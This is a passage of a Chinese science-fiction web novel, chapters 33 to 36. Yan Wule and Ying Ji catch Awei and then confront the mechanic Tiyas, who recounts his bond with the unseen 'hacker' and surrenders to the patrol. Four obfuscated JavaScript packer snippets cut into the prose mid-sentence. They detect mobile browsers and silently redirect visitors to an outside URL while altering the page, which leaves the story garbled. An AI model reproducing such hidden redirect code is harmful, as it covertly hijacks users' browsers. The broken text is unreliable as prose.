但对她来说,则是艰难决定后很长时间的期待。关于这些,燕无乐犹豫了一下,觉得再开口实在矫情——尤其是在自己刚被拒绝之后。 窗外大雪已停,白茫茫的一片为屋内增添了些许光亮。盯着看久了难免感到刺目,燕无乐挪开视线,索性也把自己融进了黑暗里。 应霁倒是忽然抬起了头:“但到极夜城之后,你一直在刷新我的印象。” “上次郁莱……算了,”他笑笑,“阿维最近倒是越来越崇拜你了,提亚斯向我抱怨过好几次,说他喝酒时阿维都不搭话了,嫌他外行。” 燕无乐:“我怎么没听提亚斯说过?” 还有郁莱,郁莱怎么了? “崇拜产生距离。你不觉得吗?阿维那小子总是在给你送蔬菜、送吃的,虽然每次都找一大堆借口。” “我哪有地方值得崇拜。只是金銮城提供了资源,我又好运地接受了它们。”燕无乐扭开头,“知识和技术罢了,阿维不也一直在学吗?提亚斯教他像是在教亲儿子。” 她想起废品站内一堆堆的金属垃圾,有点好笑,很难想象阿维一个人能练报废那么多,而向来精打细算的提亚斯居然忍了。 二人对视一眼,匆匆又错开视线。但空气似乎又流动了起来。 应霁:“……嗯,我也是第一次和别人生活这么久。虽然当时我也搭档莫迪,但感受不太一样。” 燕无乐听到后先是一愣,半晌才反应过来他说的是自己总助。 原来他们已经在极夜城生活这么久了。 “嘀嗒嘀嗒——”她口袋里忽然传出机械声响,同一时间,应霁也抬手捂住自己太阳穴,神色严肃。 他们都接收到了正在朝此而来的脚步声。 “时间不多,那人再过十分钟就要进来了,初步判断只有一个人。”应霁压低声音,把刚测算出的数据告诉她。 燕无乐点点头,脱下厚重的外套。她掏出一把袖珍的麻醉枪,轻车熟路地上了膛。 她有预感,他们在极夜城的一切即将尘埃落定。 蚁穴小房内串门吃饭、废品站中挑灯加班、还有永恒冬夜中温暖的下班路……一切经历都将变为回忆。 “事情结束后,我们还会回来吗?” 应霁体内的倒计时已启动,他加快了没说完的话,“至少我们更容易进入极夜城。” “这有什么不行?”燕无乐答应下来,“我们会再来的,到时候还可以给他们带点礼物……” 她的声音越来越小,最后一个音节落下时,门外的脚步声已能被人耳捕捉,燕无乐躲在黑暗中,黑洞洞的枪口直抵大门。 根据应霁的十分钟前的探测,来者只身一人,体重正常,步速正常,没有携带大型武器。 毫无特点,让人茫然。 “咔哒”一声,密钥解锁,那道脚步声略有迟疑,但很快蔓延至房屋中央。 燕无乐听声辨位,枪口始终跟随,那道脚步声再向前时,应霁打开了早已布置好的灯光—— 强光骤现,那人被惊得大叫一声,立刻捂住眼睛蹲下身去。 燕无乐也受到强光影响,她眯着眼,枪口对准人影喝道:“不要动,头抬起来!” 她的视野正在恢复,那人也乖顺地抬起了头,然而,所有人的呼吸都几乎停止。 微微颤抖的枪管下,倒映出阿维的脸。 时间好像暂停了。 他们都没有动,她的枪口依然对准他的额头,而他依然蹲在地上仰面看着燕无乐。 他们似乎都不知如何开口。 最终是应霁上前打破了沉默。他贴近燕无乐耳语道,根据扫描结果,阿维身上没有武器。 那她也没必要一直用麻醉枪作威胁了。 燕无乐把枪别回腰间,伸手想要拉阿维起身。她希望一切都是误会,希望面前的阿维只是个来送货的倒霉孩子。 但当她的手触碰到他的胳膊时,阿维忽然挣扎起来,他拧身后退,却不知道这触发了燕无乐机械臂的应急功能。 他只感到自己的上臂被一股强大的力量擒住,伴随加重的握力,自己的骨头似乎都要被捏碎! 阿维吃痛地惨叫一声,双腿一软又跪了下去。 但燕无乐只抓了他一条胳膊,这样,阿维想挣脱的动作就变得毫无章法。只见他被掐地吱呀乱叫起来,试图重新站起时,只得用另一只手扒拉她。 而他的腕间绑着平常打包用的小型订书针。 电光火石间,只听“滋啦”一声异响,燕无乐的衬衫袖子就被金属划破,她的半截胳膊露出,绷带拆掉后,上面是她模拟烧伤疤痕而做的假皮。 冷飕飕的,她倒抽一口凉气,第一反应是还好自己谨慎,没有直接暴露机械臂。 此刻,应霁也大步上前,对阿维小声说了句“别挣扎”。 燕无乐的注意力被袖子夺去,她皱紧眉头,猛然觉得这场景自己刚刚才梦到。 ……简直像预知梦。 阿维不动了,呆呆地望着她手臂上那块狰狞的疤痕,他不知道那是假的,燕无乐从来没打算告诉他。 应霁单手摁着他的肩膀,敏锐地察觉到他在颤抖。 燕无乐的视线仍在那碎掉的袖子上,半晌她才一抿嘴,把布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253464|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条利落扎起。 窗外又下起暴雪,纷纷扬扬,覆盖天地。 长久的沉默后,阿维交代,是提亚斯让他来的。 “提亚斯让我来取一些东西,然后把它们拆分后丢到不同的垃圾粉碎站……他明明说这里没人,我也不知道为什么会碰见你们……” 阿维声音蔫蔫的,全然没有平日里的活力。 因为方才的挣扎,他身上原本就破旧的衣服变得更糟,像一团被揉吧后的抹布,松松垮垮挂在身上,领口内露出干瘦的胸膛。 他坐在椅子上,低着头,那盒订书针被他攥在手中,已经被捏到变形。 “……其他的事情,我什么都不知道。” 燕无乐拉过另一把椅子,迟疑了一下,还是坐在了阿维对面,“你是说提亚斯告诉你了地址、任务,但没说让你做这些的原因?” “我说的都是实话!提亚斯有很多乱七八糟的要求,他又懒得解释,风禾姐你又不是不知道!” 这倒是实话。燕无乐不语,这确实是提亚斯一贯的做事风格。 阿维越说越激动,虽然有意控制,但他还是情不自禁想要站起。应霁站在他旁边,见状默默把手摁在了他的肩上。 于是阿维又蔫吧地坐了回去,他喃喃道:“为什么你们只问我?你们怎么会在这里,风禾姐你为什么还有枪,那不是纠察队才能有的吗……” “还有提亚斯,他是做错什么了吗?你们、我们……” 阿维的头越来越低,声音也越来越小,或许是发现自己身单力薄,他也不再开口。 燕无乐和应霁对视一眼,变动来得太快,让人措手不及。 二人避开阿维,站在唯一的大门边。他们看了眼房间中央垂头丧气的身影,压低声音讨论接下来的行动。 ——如果说阿维言辞属实,那么他就是被提亚斯利用来收拾残局。但这并不能证明提亚斯就是「黑客」。 “你还记得吗?我们在飞船落地极夜城之前就接触过「黑客」了,我不认为提亚斯有能力定位到扁舟,并且黑进广播中。” “而且他没有做这些动机。尤其是阿芙洛狄研究院的爆炸和其中内幕,我不觉得这是凭借一己之力能了解的。” 还有那些相处时的瞬间,难道都是演出来的吗? 于情于理,都说不通。 应霁掏出一部通讯器,是方才纠缠时从阿维身上掉出来的。他们对它很熟悉,提亚斯向来用它传送一些临时改变的订单信息。 没有密码,也无需验证,二人凑在小小的屏幕前,找到了他们的通信界面。 「……是个空屋子,任何奇怪的装置都拆了丢掉,早去早回。」 随后,附着一串居民区内的地址,看样子也是提亚斯众多住所之一。 屋内静悄悄的,阿维不明所以地望向门边,思绪迷茫。 他不知道燕无乐也正看向自己。 很快,她低不可闻地叹了口气,她在通讯器上敲下「好的」,随即摁下发送键。 在应霁错愕的目光中,燕无乐穿起了外套。 “把扩散的假信号关掉,守好阿维,纠察队短时间内不会发现这里。” “我去会会提亚斯。” 34. chapter 34 但这次应霁没有听话。 燕无乐已经跨到门外,也不见他交出车钥匙。 她不解地回头,只看见他脸上深深的犹疑。 “你要自己去见提亚斯?不管他是黑客还是什么,这都很危险。”他压低声音,“万一这也是陷阱呢?” “刚刚,纠察队将危机等级调到了最高,他们已经开始清查全城,任何可疑分子都会被重判。而我也没有监测到任何广播波动,也许「黑客」另有其人,这或许只是一场误会。” 开弓没有回头箭,他说,燕无乐此刻前往的行为无异于捅破最后一层窗户纸,无论是二人与阿维和提亚斯之间,还是他们四人之于严苛的纠察队法则,都不会再有回旋的余地。 这次坦诚相见,换来的或许只有两败俱伤。 “那你有更好的办法吗?线索已经指明了方向。”燕无乐态度坚决,索要车钥匙的手正悬在空中。 应霁:“可你刚也说,提亚斯没有动机!我们为什么不能放长线钓大鱼,不要现在就打草惊蛇。” 他的语速在加快,身体也随之向她靠近。燕无乐从未见过他据理力争的模样,更何况还是他第一次拒绝自己。 这太陌生了。 燕无乐下意识地后退一步。她去意已决,即使应霁拒绝交出车钥匙,她也能花点时间用机械臂复刻一把。 但此刻,她还是默默地问了句,为什么? 明明他们现在无路可选,燕无乐不懂他为何突然反对,他给出的建议她也无法接受,那对燕无乐来说太过保守、无效。 在狭窄楼道中,二人就这样站在原地。 燕无乐的眉头越皱越紧,她垂下手,决心自己复刻车钥匙。 “别费心了,钥匙给你。”应霁终于开口,那串钥匙也被塞进她手中。 “反正你怎样都会按着计划走,不是吗?”他撇开头,“你有没有想过,假如这些只是你的误判,提亚斯和阿维依然会被纠察队处决?” “他们无法离开极夜城,早晚会被抓的。” 应霁的声音很轻,但很坚定。 燕无乐是能做出很高效的决定,但这次,他不认为它们是最优解。 楼道静悄悄的,似乎有风拂过。 应霁转过身来,发现燕无乐在拿到钥匙的那一刻就跑了个没影。 他愣怔了一秒,随后紧紧闭上了嘴。 * 挡风玻璃已盖满积雪,很松软,雨刮器一推就碎落在地。 燕无乐踩下油门,轮胎在雪地摩擦,发出“咔滋咔滋”的声响。 车内仪表盘上滚动着最高警戒的标识,她没有多少时间,她要在纠察队找上门前弄清事情的真相。 星际磁暴也趋于结束,开车时她调出光屏,然而没有收到应霁的任何信息。 刚走得匆忙,他好像说了什么,但她没听清。 ——看来不是什么重要的事,她想。 导航显示她离地址越来越近,探测器安静如鸡。这又是一个类似于「蚁穴」结构的居民区,层层叠叠的梯子与台阶串联起了下沉的房间。 燕无乐标记好了路线,地址上的门牌就这样出现在眼前。 门又是虚掩的,像一种并不意外的邀请。她学着阿维的习惯敲了三下门。 “来了?过程还顺利吧。” 熟悉的、厚重又沙哑的声音,燕无乐心下一沉。是提亚斯。 他坐在他标志性的工作台前,依旧低头捣鼓着手上的活,他佝偻着背,影子也在身下缩成一团。 燕无乐把小型麻醉枪藏在袖内,屋内只有提亚斯一人,毫无防备。 半晌得不到回应,提亚斯终于取下老花镜,“呃,我通知的不是阿维吗?” 那支熟悉的通讯器在燕无乐手中晃了晃,提亚斯眼中闪过一丝错愕,他张了张嘴,很快便放弃似的靠回了椅背。 “没想到啊……不,我早该想到的。”他关掉工作台上的台灯,又拢了拢散落的工具,很从容,像是等待已久。 “是我让阿维过去的,我什么都没告诉他。” 燕无乐站在房间的另一端,二人中间像隔着一道楚河汉界。 她拒绝了提亚斯想促膝长谈的意图,只回答关键点:“你放心,他现在很安全。” 提亚斯苦笑了一下,也没再强求。他抿了口酒,反问她都知道了多少。 燕无乐:“起码知道你能绕过纠察队的禁令,向金銮城通信。你不止去过金銮城,你还保留了通讯渠道,对吗?怪不得黑客能掌握到我们的动向,我猜背后有你的帮助吧。” 提亚斯仍然很平静。在阿维不在的地方,他说话平稳又清晰,正经得像另一个人。 他道:“「黑客」?哦,原来你们是这样叫他的,那就称他为‘黑客’吧,反正没人知道他的本名。” “我当初在DM风投工作时,他就已经在那了。” 屋内灯光昏暗,完全不比他的台灯,但燕无乐仍能看清提亚斯面上浮现的自豪与落寞,往事如烟,骤然消散。 数十年前,环形城内外还未彻底隔绝,出生于极夜城的孩子有机会参加统一考核,通过者即可前往金銮城。 他们学习、就业、取得公民身份,完成如同脱胎换骨的一生。根据反歧视原则,星际政府会帮助他们隐藏身份,只要他们不说,没有人会知道他们的过去。 对官方而言,这可比向大众苦口婆心地解释要高效,所谓技术改变生活——反正能通过考核的极夜城孩子只是凤毛麟角。 提亚斯就这样成为了“隔壁城市”移居而来的插班生,坐在宽敞明亮的教室中,从天之骄子沦为平均线学生。 一切都是快速的、高效的,这是一个资源充沛的社会,理应充满包容、创造与善意。 但提亚斯只感到深深的……怪异。 他会察言观色,能遵守学校规矩,虽然成绩不再靠前但也不为此纠结,金銮城人人匆忙,也没人对他投以高压的视线。 但他不自在。 似乎自己做什么都很奇怪:他分不清领结与领巾,不懂同学参加社团的乐趣,更不明白他们的笑声与玩乐。 “也许人到了二十岁,就没那么容易交到朋友了。当时我是这样安慰自己的。”提亚斯沧桑的声音传来,时过境迁,如今竟也能带点笑意。 他的大学时光就这样匆匆过去,虽然成绩平平,但提亚斯还是受惠于倾斜的条约,顺利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269654|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入职了DM风投的技术岗。 在那里,他第一次感受到了归属感。 “公司和大学不同,后者追求自由探索,而前者只要求人干活。那一排排相同的工位让我感到安全,除了屏幕,我终于可以什么都不关注。” 工作、汇报、会议……原来面对面的交谈可以被取代,断开那些令人不安的眼神和表情后,他感到坦然。 技术改变生活,提亚斯彻底变为这句话的信徒。 DM风投敏锐地觉察到了这一点。绩效大会后,提亚斯被提拔到新的项目组。 作为最高机密之一的开发部门,他在公司内社交变得更少,因为事事留痕的习惯,大家更倾向线上沟通。 谁关心屏幕后同事的长相呢?反正提亚斯不关心。每天都有无数需求亟待对接、同步,还有无数文档需要补充、说明。KPI在背后追赶,而他乐在其中。 于是,他认识了现在的「黑客」。 说认识并不准确,他们没有见过面。仅凭借光屏上往来交换的语句与文档,提亚斯认定这是位同样能力不俗的伙伴。 “安风禾,你是金銮城人,而且我猜你也懂不少技术吧。”提亚斯那布满皱纹的额头舒展了一瞬。 “你还记得第一次跑完全程没有bug时的感觉吗?页面极速滚动,一行红字都没有时的快感,黑底上一片片的绿字,比我见过的任何植物都美丽。” “而且,当这种快感全部来自另一个人时,人就很容易坠入爱河。” 这转折倒是出乎燕无乐的意料。 提亚斯对她的反应并不意外,他摆摆手,示意故事继续,“原本我以为,我会搞一辈子硬件,每天在案前拧螺丝换零件,其他领域都与我无关。” 但由「黑客」发起的一场协作,打乱了他原本的设想。 “他告诉我,世界上能改变的不只有眼前硬邦邦的物件,还可以由0到1的……创造。” 「黑客」的能力超乎提亚斯的想象,他们虽然没有见过面,但合作很愉快,以至于在项目结束后,他还会时不时点开与「黑客」的对话框。 说什么呢?没有理由的打搅对方吗? 年轻的提亚斯就这样点开又关闭窗口,周而复始,却始终没有摁下任何字符。 他们之间的消息还停留在项目收工时的emoji,一个笑脸和一个烟花。 工位不再舒适,提亚斯开始观察错身而过的同事,他仿佛又回到了无措的大学时代,想要出声又不知如何措辞。 他连「黑客」的名字都不知道,对话框上始终只有一串编号。DM员工数量太多,昵称和编号可以节省很多不必要的寒暄。 主动打听无异于大海捞针,他也从未做过这样的事。 又是加班到深夜的一晚,周遭黑暗,只有提亚斯工位前的光屏还明亮。出租屋不比公司舒适,他向来没有强烈的下班欲望。 那个对话框摊在他面前,上面还是小小的笑脸与烟花。 他已经看过无数次。 他叹了口气,准备关机下班。 然而就在他即将点击x号时,“叮咚”,光标旁的指示灯忽然亮起—— 「^.^又在加班?」 35. chapter 35 “……所以你们最终走到一起,然后出于情谊,你这么多年来依然和「黑客」保持联系?” 数十年前星际法令出台,将环形城内外隔绝,一切非官方的联系都将被认定为私通。 燕无乐双手抱臂,最终还是坐在了提亚斯身旁。二人被那盏小小的台灯笼罩,面前是他们都熟悉的金属零件。 方才提亚斯的讲述戛然而止,燕无乐不明所以,皱着眉头补充了自己的猜测。 毕竟任谁来听,这都是个言情小说式的走向。 提亚斯意味深长地看了她一眼。 “不,我们没有在一起。” “事实上,我至今都不知道他的长相、姓名——我连他是男是女都不知道。” 在燕无乐错愕的目光中,他又捋了下已泛白的胡子 “但你猜对了一半。我当时确实爱上他了,如果能那称之为爱的话。” 燕无乐对此不置可否。 斗转星移,日月如梭,这么多年过去了,金銮城日新月异,极夜城却始终如同阴影。如果私通「黑客」一事真只出于感情,那可刷新了她对提亚斯的看法。 于是她问:“除此之外还有吗?” 提亚斯收回感动,瞥了她一眼,“还不够吗?你对爱情过敏。” “你们连面都没见过,这么柏拉图的感情,是人都会怀疑的。”燕无乐环顾四周,“我听过环形城以前人才筛选的历史,比起这个,我更想知道你为什么会回到极夜城。” “金銮城的生活难道不是你们梦寐以求的吗?” 提亚斯却对她的质疑不以为意:“打断老人说话,没礼貌。” “……”这种时候倚老卖老。 他没管燕无乐的欲言又止,摸着胡茬,又陷入了新一轮回忆。 「黑客」对自己或许没有感情,但当时,提亚斯的心弦确是真切地被他拨动了。 一开始他们借着工作话题联络,后来发觉公司内网的种种局限,「黑客」编写了另一个独立又快捷的聊天软件,上面没有搜索或添加的选项,简单的页面上只有对方的聊天框。 他说自己在DM风投有许多实现不了的创想,它们都被他做进了这个小小的软件内。 而对年轻的提亚斯来说,这化作了页面中时不时被触发的烟花、篝火,抑或超越聊天本身,在异国他乡新年伊始时的一句祝福。 这是怎么做到的?他兴奋地关掉这通虚拟通话后,第一时间打开了与「黑客」的对话框,上面已经有了留言: 「怎么样,锁定位置信息后再拦截广播信号,就可以定向发送内容,还不会被对方察觉^.^」 「我是第一个给你说新年快乐的吗?」 提亚斯急忙低头敲击键盘:“是,当然是。” 而且是唯一一个。 消息发送后,聊天框显示对方正在输入,然而这次消息没有立刻就出现,反复几次后,提亚斯忍不住敲了个“在做什么”过去。 但这次,连“正在输入”的字样都消失了。 可能是正在加班?提亚斯也没有多想,阳台上的雪越下越大,他的面前是灯火通明的金銮夜景。 口袋里的工作光屏滴滴地叫起来,催促他尽快回到工位。 他掐灭手中的烟。新年夜……要是能一起吃个饭就好了,提亚斯想,如果都在加班的话,哪怕只是在食堂见一面呢? 然而对于邀请,「黑客」没有回应。 “之后也差不多,每当见面时总会出现各种各样的突发情况。最后一次他终于答应了,但DM突然就把我开除了。” “工作账号、设备、门禁卡……全被收了回去,连交接工作的时间都不留,直接发了赔偿金让我滚蛋。” 速度极快,宛如幻梦。提亚斯还来不及反应,人已经抱着箱子站在了公司门口。 已经春天了,空气中弥漫着青草的土腥味,不远处的广场有小孩正在放风筝,静静西沉的太阳将天空渲染成橘红色。 他呆呆地望着这一切,忽然意识到自己已经很久没有看过落日了。 这真的是他梦寐以求的吗? 口袋中的私人光屏忽然震动。方才,为了确保他不会泄露任何工作机密,所有电子设备已经被清洗过一遍了。 ——是一通虚拟来电。 他连忙接起来。电流声后,一串没有起伏的电子女声响起,和两个月前他与「黑客」通话时的情形一模一样。 “很抱、抱歉,听到这个消息,DM明明禁、禁止私下跨部门来往,是我、害了你……” 提亚斯急忙否认,但电话似乎是单向的,电子女声持续响起, “等我离开DM、我们、再见面好吗……” 噪声越来越大,无论提亚斯换到信号多么充足的地方,女声依旧断断续续,戛然而止。 * “那你们后来见面了吗?”燕无乐忍不住问出口,才发现提亚斯正幽幽地盯着自己。 他脸上胡子抖动,“呵,不是看不上爱情故事吗?” “你刚提到了锁定位置进行通话,我是对这个感兴趣。” “嗐,你这小姑娘人不大,嘴挺硬。” 燕无乐默默闭上了嘴,把酷似仙人跳和杀猪盘的听后感咽了回去。 后面的细节提亚斯没说,但为了调查「黑客」,她早就把极夜城内的新闻报道翻了个遍。 金銮城内讳莫如深的东西,在极夜城可不一样。 当年,提亚斯离开DM后不久就销声匿迹了,这是金銮城的管理失范,登不了大雅之堂。而在几年后,他又重新出现在极夜城内的身影,倒是被传遍了大街小巷。 但他彼时已没有了走时的意气风发,在狗仔的镜头下,提亚斯胡茬满面,明明正值壮年,却沧桑得仿佛换了个人。 没人知道他是怎样避开监管,又在明确封禁的的两地中回到极夜城的。 他带来了创业的本金,以及足以改善生活的技术。虽然人们不知道为什么他变得如此孤僻,但考虑实际,这些倒也没那么重要了。 反正极夜城不缺有故事的人。 燕无乐抱臂坐在椅子上,她的机械臂在隐隐发热,这是她设定的计时方式,代表着纠察队将近的步伐。 时间不多了,她有些忐忑,那把袖珍的麻醉枪也已被她捂到温热。 她问:“那你们后来见面了吗?” “见面?”提亚斯沉思了一会儿,最终低头叹气,“我想见见他,但怎么看都……” “没机会了,是吧?” 他重新抬起头,双眼正视燕无乐。一抹苦笑自他斑驳褶皱的脸上浮现,话的尾音有些扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292006|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲。 他伸手拽下高领毛衣,骤然间,脖颈中一圈环形装置暴露。 “哐当!” 燕无乐立刻站起身,碰倒了身后的椅子,“别动!什么都别动!” 她清楚地看见,红蓝两色的细线交叠,正歪歪扭扭地从那圈环形装置内冒出—— 炸弹,机械的。 不清楚引爆方式是什么,但这么近这么密闭的空间,但凡有一点差池,他们将同归于尽。 提亚斯的手依然拽着毛衣领,多年工作的锤炼,他的手上布满细小的疤痕,但动作却又稳又准。燕无乐忽然想起阿维说的,极夜城内找不到比他更好的机械工程师了。 她吞了口唾沫,谨慎开口:“别冲动,我不隶属于任何政府单位,也许我能帮你——你听说过科鸢集团吗?” “我来这里只为调查一些事情,不想牵涉任何无关的人,”她打开一段录音,“你听过这个声音吗?「黑客」之前联系过我们。” 她顿了一下,“方法和你所说的一模一样。” 提亚斯黯淡的双眼终于抬起。 趁热打铁,燕无乐剥开右臂上的模拟皮肤,露出底下银灰色的金属骨骼。她转动手腕,一道光屏浮现,纠察队巡察路线清晰可见。 她一字一顿道:“你想见他吗?只要你点头,我可以帮你避开纠察队,改头换面去金銮城重新开始。” 代价是交代有关「黑客」的所有信息。 狭小的室内,机械臂上的光屏幽幽呈现,象征纠察队的红点跳动着,正在向二人所在处靠拢——这是关闭信号扩散器的结果,阿维所在的地方被排除嫌疑后,目标只剩这里。 他们的时间不多了,燕无乐不动声色地摁住了中指关节。 只要提亚斯点头,她会立即启动另一道信号干扰器,打乱纠察队的步伐,然后趁乱离开——隐身后的「扁舟」就悬停在居民区上方,已在待机状态。 抑或,她也可以用抢抵住他的脑门,趁纠察队赶来之前问出「黑客」下落。 燕无乐盯着提亚斯脖颈间的炸弹,不敢轻举妄动。 形势逆转,只在一瞬间。 “留得青山在,不怕没柴烧,不是吗?”她放缓语气,“我相信你会判断出正确的选择。” 只见提亚斯伸出手,“咔哒”一声,环形炸弹应声而落。 燕无乐松了口气,这才感到后背已冷汗涔涔。 现在轮到她履行承诺了。 她将机械臂上的光屏调到最大,鹅黄色的矩形屏幕矗立在二人面前,附近地图正陈列其上,红色圆点匀速靠近着。 一旁,是信号干扰按钮。 确认提亚斯在看,燕无乐郑重其事地摁下它,登时,一道弹窗出现,无数代码飞速滚动。 “你看,我没有骗你。”燕无乐回头,额前冷汗已打湿碎发。 提亚斯也提了提嘴角,惨然一笑。 “哔——” 「未知错误:任务失效!请重试!任务失效!请重试!」 什么? 报错的代码页散发出狰狞红光,燕无乐错愕地挪开视线时,只见提亚斯的笑容被平静取代。 他举起手中的通讯器,通话记录上,赫然显示着“纠察队”三字。 她听见那道沧桑又沙哑的声音说,对不起。 36. chapter 36 信号干扰器无法生效,因为提亚斯主动上报了自己的方位。 对于已经锁定的事实,燕无乐无能为力。震惊、不解、愤怒……纷乱如麻的情绪瞬间上涌,她张了张嘴,发现自己的声音已经扭曲不清。 提亚斯自首了……? “为什么?你知道私通金銮是什么结果吗?你会被处决!” 燕无乐深吸一口气,强压下喉间不适。变数太快,她的双手颤抖不止,光屏也随之晃动,那颗红点如同猛兽的眼,虚影中前行。 倒计时出现,十分钟后,全副武装的纠察队将破门而入。 没时间了,代表应霁的蓝点亮起,他已经按照约定好的那样,启动了飞船。 此刻,「扁舟」就悬停在居民楼正上方。 燕无乐一脚踢开颈环炸弹,大步上前,拽住提亚斯—— “你必须和我走!”她声音嘶哑,金属指节碰撞发出刺耳声响,“你根本不知道你和他做了什么!他和DM的人体实验有关,有很多无辜的生命正在被制造、被消耗!” 她的胸腔剧烈地起伏着,提亚斯静静地坐在原处,任由自己的衣领被燕无乐扯在手中。 她早该想到的,那段失意的爱情故事背后,是DM与极夜城的藕断丝连,他们利用提亚斯掌握的独家信息,将批量制造出的侏儒运往这里。 至于他们的作用,正是复刻提亚斯当年的所作所为——他从金銮城销声匿迹后,又神奇地出现在极夜城的秘密: 「矿洞」 “你当时搞不到没被监控的飞船吧?但你依然要离开金銮。”燕无乐的手越攥越紧,“所以你想起了极夜城的神话,那些传奇色彩的历史?” 提亚斯淡然一笑,“安风禾……不,你应该姓燕。” “你真的很聪明。” 被DM开除后的几年,他不是没尝试过找其他工作,但趋于饱和的岗位,和逐渐落寞的机械工程技术,让他屡屡碰壁,薪水越来越低。 他还是守着「黑客」开发的那款聊天程序,但上面再无回音。 岁月残忍,逐日增长的年龄成为了劣势。在连续数周的加班加点后,他越发感到力不从心,项目效益不佳,岌岌可危的感觉又浮上心头。 提亚斯知道,自己或许又要失业了。 部门内的实习生向他道别,在已经黑了大半的工区内,实习生是倒数第二个下班的。 ——提亚斯不敢比他更早打卡。 他知道部门内有一个转正HC,这么多实习生同台竞争,不知谁会胜出,但他知道胜者的位置该由谁来腾出。 他叹了口气,把已经凉透了的养生茶倒掉,又是没有有效产出的一天。自己除了卷工时外,找不到任何优势。 那个实习生的工位离他不远,上面堆满了手办、盆栽,还有花花绿绿的键盘。 提亚斯忽然一阵恍惚。 曾几何时,他也会装扮自己的书桌,也会在课堂的间隙偷偷摆弄塑料小人。彼时他还不知道什么职级、晋升或优化,写完作业后在矮房附近探索才是他最期待的时刻。 老师夸他,父母夸他,同学对他羡慕嫉妒恨,人人都说他生来就应该去金銮城。 而他也做到了。 但为什么现在会痛苦呢? 究竟是哪里出错了呢? 锦衣玉食触手可得,金銮城有四季分明的天空,有恒温明亮的太阳,有他小时候想都不敢想的一切。 提亚斯坐在工位上,他想不通——他好像亲手堵住了自己的退路。 很久过去,直到巡楼的警卫敲响大门,他才如梦初醒般离开了公司。 一个疯狂的想法悄悄萌芽。 “公司仓库失窃,大量炸药和开凿装置丢失,与之一并消失的我自然变成了嫌疑人。很快,我被全城通缉,接下来的故事你应该能猜到。” 昨日重现,提亚斯娓娓道来,他决心重现极夜城的历史,像数百年前的基建工程队那样,向着引力开凿。 ——他要用自己的方式回到家乡。 提亚斯用行动证明,自己确实是极夜城最好的机械工程师。 “祖先们留下了不少可继续开凿的路线,我比较好运。”他轻笑了下,“很多地方只是金銮城单方面堵死罢了,暴力一点就能破开。” “金銮城总是注视着天空、太阳,从不关注脚下的土地。” “而极夜城的人生来就在土中,我们向内挖掘,只在意能触摸到的岩石。”他淡淡道,“所以我成功了。我重新打通了环形城两地,即使对它而言只算得上一个针眼。” 提亚斯说完,又靠回椅背,他老态龙钟的脸终于有了些血色,像青春末尾的晚霞。 和燕无乐的面色如出一辙。 ——只不过她是激动的。 倒计时还剩五分钟。 光屏上的红点越来越近,无论她怎样努力,代码页依旧是报错弹窗。 来不及编写新的干扰程序了。 燕无乐索性调出阿芙洛狄研究院的录像,月色下侏儒眼中的惊恐清晰可见,他晃动纤细的胳膊,无助又无措地面对镜头。 “他是DM批量制造出的样本之一,我拍下视频没多久这里就爆炸了,什么证据都没留下!而「黑客」告诉我,这批侏儒原本将会被送到这附近,极夜城的居民区里!” 她深吸一口气:“我不管他和你说了什么,你又为什么要接应他,总之事情已经发生了,我不可能空手而归——你承认所说内容的真实性吗,DM将非法制造的大批量生物体输送到极夜城内?” 所有内容她已录音,虽不是最优解,但起码比没有好。 提亚斯听完倒是一愣,捕捉到了另一个关键词: “等一下,是他告诉你这批DM实验体的中转地址的?不是你自己查到的?” 燕无乐重重地“嗯”了一声。 提亚斯死水般的神情忽然动摇:“那说明……他是个好人。” 我没看错人,是吗?他喃喃道。 在她不解的目光中,他晃晃悠悠地站起身,走到了一面墙前。 倒计时只剩三分钟时,提亚斯从一块砖后掏出了一叠文件。 倒计时还剩两分钟,燕无乐完成了文件扫描。 她将文件还给提亚斯,只见他随手一放,没再遮掩。 倒计时不足一分钟。 窗外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302397|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警笛乍响,越来越清晰。 再不走就来不及了!燕无乐夺门而出,又在离开前回头。 